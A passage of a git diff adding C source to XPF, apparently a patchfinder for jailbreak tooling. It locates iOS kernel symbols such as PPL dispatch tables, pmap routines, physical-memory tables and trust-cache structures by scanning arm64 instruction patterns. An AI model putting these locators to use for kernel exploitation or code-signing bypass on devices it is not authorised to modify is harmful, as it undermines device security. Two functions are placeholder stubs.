i = 0; i < n; i++) { + adrpAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 80, adrpInst, adrpInstAny); + toCheck = adrpAddr + 4; + } + XPF_ASSERT(adrpAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr + 4); +} + +static uint64_t xpf_find_pmap_enter_options_addr(void) +{ + __block uint64_t stringAddr = 0; + + PFStringMetric *stringMetric = pfmetric_string_init("pmap_enter_options_internal"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!stringAddr) { + stringMetric = pfmetric_string_init("\"pmap_enter_options() pmap %p v 0x%llx\\n\""); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + XPF_ASSERT(stringAddr); + + __block uint64_t pmap_enter_options_internal = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_enter_options_internal = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + // On arm64, pmap_enter_options_internal is equivalent to pmap_enter_options_addr + return pmap_enter_options_internal; +} + +static uint64_t xpf_find_pmap_remove_options(void) +{ + __block uint64_t stringAddr = 0; + + PFStringMetric *stringMetric = pfmetric_string_init("pmap_remove_options_internal"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + __block uint64_t pmap_remove_options_internal = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_remove_options_internal = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + // On arm64, pmap_remove_options_internal is equivalent to pmap_remove_options + return pmap_remove_options_internal; +} + +// TODO +static uint64_t xpf_find_vm_last_phys(void) +{ + return 0xFFFFFF8000000000; +} + +static uint64_t xpf_find_pp_attr_table(void) +{ + return 0xFFFFFF8000000000; +} + +void xpf_non_ppl_init(void) +{ + if (!gXPF.kernelIsArm64e) { + bool iOS14 = strcmp(gXPF.darwinVersion, "21.0.0") < 0; + xpf_item_register("kernelSymbol.pmap_tt_deallocate", xpf_find_pmap_tt_deallocate, NULL); + xpf_item_register("kernelSymbol.vm_first_phys", xpf_find_pmap_tt_deallocate_reference, iOS14 ? (void*)(uint32_t)2 : (void*)(uint32_t)1); + xpf_item_register("kernelSymbol.pv_head_table", xpf_find_pmap_tt_deallocate_reference, iOS14 ? (void*)(uint32_t)1 : (void*)(uint32_t)2); + + xpf_item_register("kernelSymbol.vm_last_phys", xpf_find_vm_last_phys, NULL); + xpf_item_register("kernelSymbol.pp_attr_table", xpf_find_pp_attr_table, NULL); + + xpf_item_register("kernelSymbol.pmap_enter_options_addr", xpf_find_pmap_enter_options_addr, NULL); + xpf_item_register("kernelSymbol.pmap_remove_options", xpf_find_pmap_remove_options, NULL); + + if (strcmp(gXPF.darwinVersion, "22.0.0") >= 0) { + // iOS >=16 + xpf_item_register("kernelSymbol.ppl_trust_cache_rt", xpf_find_trust_cache_rt, NULL); + } + else { + // iOS <=15 + xpf_item_register("kernelSymbol.pmap_image4_trust_caches", xpf_find_pmap_image4_trust_caches, NULL); + } + } +} diff --git a/XPF/src/non_ppl.h b/XPF/src/non_ppl.h new file mode 100644 index 0000000..442f92b --- /dev/null +++ b/XPF/src/non_ppl.h @@ -0,0 +1 @@ +void xpf_non_ppl_init(void); \ No newline at end of file diff --git a/XPF/src/ppl.c b/XPF/src/ppl.c new file mode 100644 index 0000000..369b510 --- /dev/null +++ b/XPF/src/ppl.c @@ -0,0 +1,577 @@ +#import "ppl.h" +#import "xpf.h" +#include +#include + +static uint64_t xpf_find_ppl_dispatch_section(void) +{ + uint32_t bAny = 0, bAnyMask = 0, movX15Any = 0, movX15AnyMask = 0; + arm64_gen_b_l(OPT_BOOL(false), OPT_UINT64_NONE, OPT_UINT64_NONE, &bAny, &bAnyMask); + arm64_gen_mov_imm('z', ARM64_REG_X(15), OPT_UINT64_NONE, OPT_UINT64(0), &movX15Any, &movX15AnyMask); + + uint32_t pplCallerInst[] = { + movX15Any, + bAny, + movX15Any, + bAny, + }; + uint32_t pplCallerMask[] = { + movX15AnyMask, + bAnyMask, + movX15AnyMask, + bAnyMask, + }; + + __block uint64_t ppl_dispatch_section = 0; + PFPatternMetric *metric = pfmetric_pattern_init(pplCallerInst,pplCallerMask,sizeof(pplCallerInst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + ppl_dispatch_section = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return ppl_dispatch_section; +} + +static uint64_t xpf_find_ppl_enter(void) +{ + uint64_t ppl_dispatch_section = xpf_item_resolve("kernelSymbol.ppl_dispatch_section"); + XPF_ASSERT(ppl_dispatch_section); + __block uint64_t ppl_enter = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, ppl_dispatch_section+4), ppl_dispatch_section+4, &ppl_enter, NULL); + return ppl_enter; +} + +static uint64_t xpf_find_ppl_bootstrap_dispatch(void) +{ + uint64_t ppl_enter = xpf_item_resolve("kernelSymbol.ppl_enter"); + XPF_ASSERT(ppl_enter); + + uint32_t cbzAny = 0, cbzAnyMask = 0; + arm64_gen_cb_n_z(OPT_BOOL(false), ARM64_REG_ANY, OPT_UINT64_NONE, &cbzAny, &cbzAnyMask); + + uint64_t cbzPPLDispatchAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ppl_enter, 30, cbzAny, cbzAnyMask); + if (cbzPPLDispatchAddr) { + uint64_t ppl_bootstrap_dispatch = 0; + arm64_dec_cb_n_z(pfsec_read32(gXPF.kernelTextSection, cbzPPLDispatchAddr), cbzPPLDispatchAddr, NULL, NULL, &ppl_bootstrap_dispatch); + return ppl_bootstrap_dispatch; + } + else { + uint32_t bCondAnyInst = 0, bCondAnyMask = 0; + arm64_gen_b_c_cond(OPT_BOOL(false), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_COND_ANY, &bCondAnyInst, &bCondAnyMask); + uint64_t bcondPPLDispatchAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ppl_enter, 30, bCondAnyInst, bCondAnyMask); + XPF_ASSERT(bcondPPLDispatchAddr); + + uint64_t ppl_bootstrap_dispatch = 0; + arm64_dec_b_c_cond(pfsec_read32(gXPF.kernelTextSection, bcondPPLDispatchAddr), bcondPPLDispatchAddr, &ppl_bootstrap_dispatch, NULL, NULL); + return ppl_bootstrap_dispatch; + } +} + +static uint64_t xpf_find_ppl_handler_table(void) +{ + uint64_t ppl_bootstrap_dispatch = xpf_item_resolve("kernelSymbol.ppl_bootstrap_dispatch"); + XPF_ASSERT(ppl_bootstrap_dispatch); + + uint32_t addAny = 0, addAnyMask = 0; + arm64_gen_add_imm(ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &addAny, &addAnyMask); + + uint64_t addAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ppl_bootstrap_dispatch, 30, addAny, addAnyMask); + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, addAddr); +} + +static uint64_t xpf_find_ppl_routine(uint32_t idx) +{ + uint64_t ppl_handler_table = xpf_item_resolve("kernelSymbol.ppl_handler_table"); + XPF_ASSERT(ppl_handler_table); + return pfsec_read_pointer(gXPF.kernelDataConstSection, ppl_handler_table + (sizeof(uint64_t) * idx)); +} + +static uint64_t xpf_find_ppl_dispatch_func(uint32_t idx) +{ + uint64_t ppl_dispatch_section = xpf_item_resolve("kernelSymbol.ppl_dispatch_section"); + XPF_ASSERT(ppl_dispatch_section); + + uint32_t movToFind = 0, movMaskToFind = 0; + arm64_gen_mov_imm('z', ARM64_REG_X(15), OPT_UINT64(idx), OPT_UINT64(0), &movToFind, &movMaskToFind); + + return pfsec_find_next_inst(gXPF.kernelTextSection, ppl_dispatch_section, 1000, movToFind, movMaskToFind); +} + +static uint64_t xpf_find_pmap_image4_trust_caches(void) +{ + uint64_t pmap_lookup_in_loaded_trust_caches_internal = xpf_item_resolve("kernelSymbol.pmap_lookup_in_loaded_trust_caches_internal"); + XPF_ASSERT(pmap_lookup_in_loaded_trust_caches_internal); + + uint32_t ldrLitAny = 0, ldrLitAnyMask = 0; + arm64_gen_ldr_lit(ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &ldrLitAny, &ldrLitAnyMask); + uint64_t ldrLitAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_lookup_in_loaded_trust_caches_internal, 20, ldrLitAny, ldrLitAnyMask); + if (ldrLitAddr) { + uint64_t ldrTarget = 0; + arm64_dec_ldr_lit(pfsec_read32(gXPF.kernelPPLTextSection, ldrLitAddr), ldrLitAddr, &ldrTarget, NULL); + return ldrTarget; + } + + /*uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + uint64_t ldrAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_lookup_in_loaded_trust_caches_internal, 20, ldrAny, ldrAnyMask); + if (ldrAddr) { + uint32_t ldrInst = pfsec_read32(gXPF.kernelPPLTextSection, ldrAddr); + arm64_register reg; + uint64_t ldrImm = 0; + arm64_dec_ldr_imm(ldrInst, NULL, ®, &ldrImm, NULL); + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, reg, &adrpInst, &adrpInstAny); + uint64_t adrpAddr = pfsec_find_prev_inst(gXPF.kernelPPLTextSection, ldrAddr, 20, adrpInst, adrpInstAny); + if (adrpAddr) { + uint32_t adrpInst = pfsec_read32(gXPF.kernelPPLTextSection, adrpAddr); + uint64_t adrpTarget = 0; + arm64_dec_adr_p(adrpInst, adrpAddr, &adrpTarget, NULL, NULL); + return adrpTarget + ldrImm; + } + }*/ + + return 0; +} + +static uint64_t xpf_find_pmap_query_trust_cache_safe(void) +{ + uint64_t pmap_lookup_in_loaded_trust_caches_internal = xpf_item_resolve("kernelSymbol.pmap_lookup_in_loaded_trust_caches_internal"); + XPF_ASSERT(pmap_lookup_in_loaded_trust_caches_internal); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + uint64_t blAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_lookup_in_loaded_trust_caches_internal, 30, blAny, blAnyMask); + XPF_ASSERT(blAddr); + + uint32_t blInst = pfsec_read32(gXPF.kernelPPLTextSection, blAddr); + + uint64_t pmap_query_trust_cache_safe = 0; + arm64_dec_b_l(blInst, blAddr, &pmap_query_trust_cache_safe, NULL); + return pmap_query_trust_cache_safe; +} + +static uint64_t xpf_find_ppl_trust_cache_rt(void) +{ + uint64_t pmap_query_trust_cache_safe = xpf_item_resolve("kernelSymbol.pmap_query_trust_cache_safe"); + XPF_ASSERT(pmap_query_trust_cache_safe); + + uint32_t pacMovInst = 0, pacMovMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64(0x6653), OPT_UINT64(0), &pacMovInst, &pacMovMask); + uint64_t pacMovAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_query_trust_cache_safe, 50, pacMovInst, pacMovMask); + XPF_ASSERT(pacMovAddr); + + uint32_t addX0AnyInst = 0, addX0AnyMask = 0; + arm64_gen_add_imm(ARM64_REG_X(0), ARM64_REG_ANY, OPT_UINT64_NONE, &addX0AnyInst, &addX0AnyMask); + uint64_t ppl_trust_cache_rt_refAddr = pfsec_find_prev_inst(gXPF.kernelPPLTextSection, pacMovAddr, 10, addX0AnyInst, addX0AnyMask); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelPPLTextSection, ppl_trust_cache_rt_refAddr); +} + +static uint64_t xpf_find_load_static_trust_cache(void) +{ + PFStringMetric *trustcacheSegmentIsZeroMetric = pfmetric_string_init("trust cache segment is zero length but trust caches are available: %u @%s:%d"); + __block uint64_t trustcacheSegmentIsZeroAddr = 0; + pfmetric_run(gXPF.kernelStringSection, trustcacheSegmentIsZeroMetric, ^(uint64_t vmaddr, bool *stop) { + trustcacheSegmentIsZeroAddr = vmaddr; + *stop = true; + }); + pfmetric_free(trustcacheSegmentIsZeroMetric); + XPF_ASSERT(trustcacheSegmentIsZeroAddr); + + __block uint64_t load_static_trust_cache_mid = 0; + PFXrefMetric *trustcacheSegmentIsZeroXrefMetric = pfmetric_xref_init(trustcacheSegmentIsZeroAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, trustcacheSegmentIsZeroXrefMetric, ^(uint64_t vmaddr, bool *stop) { + load_static_trust_cache_mid = vmaddr; + *stop = true; + }); + pfmetric_free(trustcacheSegmentIsZeroXrefMetric); + XPF_ASSERT(load_static_trust_cache_mid); + + uint64_t ret = pfsec_find_function_start(gXPF.kernelTextSection, load_static_trust_cache_mid); + printf("load_static_trust_cache found? 0x%llx\n", ret); + return ret; +} + +static uint64_t xpf_find_sptm_trust_cache_rt(void) +{ + uint64_t load_static_trust_cache = xpf_item_resolve("kernelSymbol.load_static_trust_cache"); + XPF_ASSERT(load_static_trust_cache); + + // search ADRP xN, #_trust_cache_rt@PAGE; + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + 0xB4000000, // cbz xN, loc_... + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + 0xFF000000, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, load_static_trust_cache, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + + uint64_t ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("trust_cache_rt found? 0x%llx\n", ret); + return ret; +} + +static uint64_t xpf_find_pmap_pin_kernel_pages(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("pmap_pin_kernel_pages"); + __block uint64_t pmap_pin_kernel_pages_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + pmap_pin_kernel_pages_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(pmap_pin_kernel_pages_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_pin_kernel_pages_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_pin_kernel_pages = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_pin_kernel_pages = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + XPF_ASSERT(pmap_pin_kernel_pages); + + return pmap_pin_kernel_pages; +} + +static uint64_t xpf_find_pmap_pin_kernel_pages_reference(uint32_t idx) +{ + uint64_t pmap_pin_kernel_pages = xpf_item_resolve("kernelSymbol.pmap_pin_kernel_pages"); + XPF_ASSERT(pmap_pin_kernel_pages); + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + __block uint64_t ref = 0; + __block uint32_t f = 0; + PFPatternMetric *metric = pfmetric_pattern_init(&ldrAnyInst, &ldrAnyMask, sizeof(ldrAnyInst), sizeof(uint32_t)); + pfmetric_run_in_range(gXPF.kernelTextSection, pmap_pin_kernel_pages, -1, metric, ^(uint64_t vmaddr, bool *stop) { + arm64_register destinationReg; + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr), &destinationReg, NULL, NULL, NULL, NULL); + // On some kernels there is one additional ldr before the ones we're looking for + // As this always loads into x0 and the other ones don't, we can filter it out based on that metric + if (ARM64_REG_GET_NUM(destinationReg) != 0) { + if (f == idx) { + ref = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + f++; + } + }); + + return ref; +} + +static uint64_t xpf_find_phys_attribute_clear_with_flush_range(void) { + __block uint64_t phys_attribute_clear_stringAddr = 0; + PFStringMetric *physAttributeMetric = pfmetric_string_init("phys_attribute_clear(%#010x,%#010x,%#010x,%p,%p): invalid options @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, physAttributeMetric, ^(uint64_t vmaddr, bool *stop) { + phys_attribute_clear_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(physAttributeMetric); + XPF_ASSERT(phys_attribute_clear_stringAddr); + + __block uint64_t phys_attribute_clear_with_flush_range = 0; + PFXrefMetric *physAttributeXrefMetric = pfmetric_xref_init(phys_attribute_clear_stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, physAttributeXrefMetric, ^(uint64_t vmaddr, bool *stop) { + phys_attribute_clear_with_flush_range = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(physAttributeXrefMetric); + printf("phys_attribute_clear_with_flush_range found? 0x%llx\n", phys_attribute_clear_with_flush_range); + return phys_attribute_clear_with_flush_range; +} + +static uint64_t xpf_find_phys_attribute_clear_with_flush_range_reference(uint32_t idx) +{ + uint64_t phys_attribute_clear_with_flush_range = xpf_item_resolve("kernelSymbol.phys_attribute_clear_with_flush_range"); + XPF_ASSERT(phys_attribute_clear_with_flush_range); + + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + }; + + // find vm_first_phys from 1st adrp + uint64_t ret = 0; + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, phys_attribute_clear_with_flush_range, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + if(idx == 0) { + ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("vm_first_phys found? 0x%llx\n", ret); + } + + // find vm_last_phys from 2nd adrp + pfmetric_run_in_range(gXPF.kernelTextSection, adrpAddr+8, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + if(idx == 1) { + ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("vm_last_phys found? 0x%llx\n", ret); + } + + // find pp_attr_table from 3rd adrp + pfmetric_run_in_range(gXPF.kernelTextSection, adrpAddr+8, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + if(idx == 2) { + ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("pp_attr_table found? 0x%llx\n", ret); + } + + pfmetric_free(metric); + + return ret; +} + +static uint64_t xpf_find_pmap_enter_pv(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("pmap_enter_pv"); + XPF_ASSERT(stringMetric); + + __block uint64_t pmap_enter_pv_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + pmap_enter_pv_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(pmap_enter_pv_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_enter_pv_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_enter_pv = 0; + pfmetric_run(gXPF.kernelPPLTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_enter_pv = pfsec_find_function_start(gXPF.kernelPPLTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + return pmap_enter_pv; +} + +static uint64_t xpf_sptm_find_pv_head_table(void) +{ + //find `pte_update_wiredcnt` by xref "pmap %p (pte %p): wired count underflow @%s:%d" + PFStringMetric *stringMetric = pfmetric_string_init("pmap %p (pte %p): wired count underflow @%s:%d"); + XPF_ASSERT(stringMetric); + + __block uint64_t wired_count_underflow_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + wired_count_underflow_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(wired_count_underflow_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(wired_count_underflow_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pte_update_wiredcnt = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pte_update_wiredcnt = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + printf("pte_update_wiredcnt found? 0x%llx\n", pte_update_wiredcnt); + + // Find second adrp; first is vm_first_phys, second is pv_head_table + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, pte_update_wiredcnt, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + + pfmetric_run_in_range(gXPF.kernelTextSection, adrpAddr+8, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + uint64_t ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("pv_head_table found? 0x%llx\n", ret); + return ret; +} + +static uint64_t xpf_find_pv_head_table(void) +{ + uint64_t pmap_enter_pv = xpf_item_resolve("kernelSymbol.pmap_enter_pv"); + XPF_ASSERT(pmap_enter_pv); + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + uint64_t ref = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_enter_pv, 0, ldrAnyInst, ldrAnyMask); + XPF_ASSERT(ref); + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelPPLTextSection, ref); +} + +static uint64_t xpf_sptm_find_pmap_enter_options_addr(void) +{ + // Find `pmap_enter_options_internal` by xref "pmap_enter_options(): attempt to add executable mapping to kernel_pmap @%s:%d" + PFStringMetric *stringMetric = pfmetric_string_init("pmap_enter_options(): attempt to add executable mapping to kernel_pmap @%s:%d"); + XPF_ASSERT(stringMetric); + + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_enter_options_addr = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_enter_options_addr = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + printf("pmap_enter_options_addr found? 0x%llx\n", pmap_enter_options_addr); + return pmap_enter_options_addr; +} + +static uint64_t xpf_find_pmap_enter_options_addr(void) +{ + uint64_t pmap_enter_options_ppl = xpf_item_resolve("kernelSymbol.pmap_enter_options_ppl"); + XPF_ASSERT(pmap_enter_options_ppl); + + __block uint64_t pmap_enter_options_addr = 0; + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_enter_options_ppl, XREF_TYPE_MASK_CALL); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + // Find an Xref, that within the the previous 25 instructions... + if (pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 25, 0x12000000, 0x7F800000) && // Has an AND + pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 25, 0x32000000, 0x7F800000) && // Has an ORR + !pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 25, 0x53000000, 0x7F800000)) { // Has no LSL + pmap_enter_options_addr = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(xrefMetric); + + return pmap_enter_options_addr; +} + +static uint64_t xpf_sptm_find_pmap_remove_options(void) +{ + // Find `pmap_remove_options` by xref "pmap_remove_options_internal" + PFStringMetric *stringMetric = pfmetric_string_init("pmap_remove_options_internal"); + XPF_ASSERT(stringMetric); + + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_remove_options = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_remove_options = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + printf("pmap_remove_options found? 0x%llx\n", pmap_remove_options); + return pmap_remove_options; +} + +static uint64_t xpf_find_pmap_remove_options(void) +{ + uint64_t pmap_remove_options_ppl = xpf_item_resolve("kernelSymbol.pmap_remove_options_ppl"); + XPF_ASSERT(pmap_remove_options_ppl); + + __block uint64_t pmap_remove_options = 0; + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_remove_options_ppl, XREF_TYPE_MASK_CALL); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_read32(gXPF.kernelTextSection, vmaddr - 4) != 0x52802003) { + pmap_remove_options = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(xrefMetric); + + return pmap_remove_options; +} + +void xpf_ppl_init(void) +{ + if (gXPF.kernelIsArm64e) { + xpf_item_register("kernelSymbol.ppl_enter", xpf_find_ppl_enter, NULL); + xpf_item_register("kernelSymbol.ppl_bootstrap_dispatch", xpf_find_ppl_bootstrap_dispatch, NULL); + xpf_item_register("kernelSymbol.ppl_dispatch_section", xpf_find_ppl_dispatch_section, NULL); + xpf_item_register("kernelSymbol.ppl_handler_table", xpf_find_ppl_handler_table, NULL); + xpf_item_register("kernelSymbol.pmap_enter_options_internal", xpf_find_ppl_routine, (void *)(uint32_t)10); + xpf_item_register("kernelSymbol.pmap_enter_options_ppl", xpf_find_ppl_dispatch_func, (void *)(uint32_t)10); + xpf_item_register("kernelSymbol.pmap_remove_options_ppl", xpf_find_ppl_dispatch_func, (void *)(uint32_t)23); + xpf_item_register("kernelSymbol.pmap_lookup_in_loaded_trust_caches_internal", xpf_find_ppl_routine, (void *)(uint32_t)41); + xpf_item_register("kernelSymbol.pmap_pin_kernel_pages", xpf_find_pmap_pin_kernel_pages, NULL); + xpf_item_register("kernelSymbol.pmap_enter_pv", xpf_find_pmap_enter_pv, NULL); + + + if(gXPF.isSPTMDevice) { + xpf_item_register("kernelSymbol.pmap_enter_options_addr", xpf_sptm_find_pmap_enter_options_addr, NULL); + xpf_item_register("kernelSymbol.pmap_remove_options", xpf_sptm_find_pmap_remove_options, NULL); + xpf_item_register("kernelSymbol.phys_attribute_clear_with_flush_range", xpf_find_phys_attribute_clear_with_flush_range, NULL); + xpf_item_register("kernelSymbol.vm_first_phys", xpf_find_phys_attribute_clear_with_flush_range_reference, (void *)(uint32_t)0); + xpf_item_register("kernelSymbol.vm_last_phys", xpf_find_phys_attribute_clear_with_flush_range_reference, (void *)(uint32_t)1); + xpf_item_register("kernelSymbol.pp_attr_table", xpf_find_phys_attribute_clear_with_flush_range_reference, (void *)(uint32_t)2); + xpf_item_register("kernelSymbol.pv_head_table", xpf_sptm_find_pv_head_table, NULL); + } + else { + xpf_item_register("kernelSymbol.pmap_enter_options_addr", xpf_find_pmap_enter_options_addr, NULL); + xpf_item_register("kernelSymbol.pmap_remove_options", xpf_find_pmap_remove_options, NULL); + xpf_item_register("kernelSymbol.vm_first_phys", xpf_find_pmap_pin_kernel_pages_reference, (void 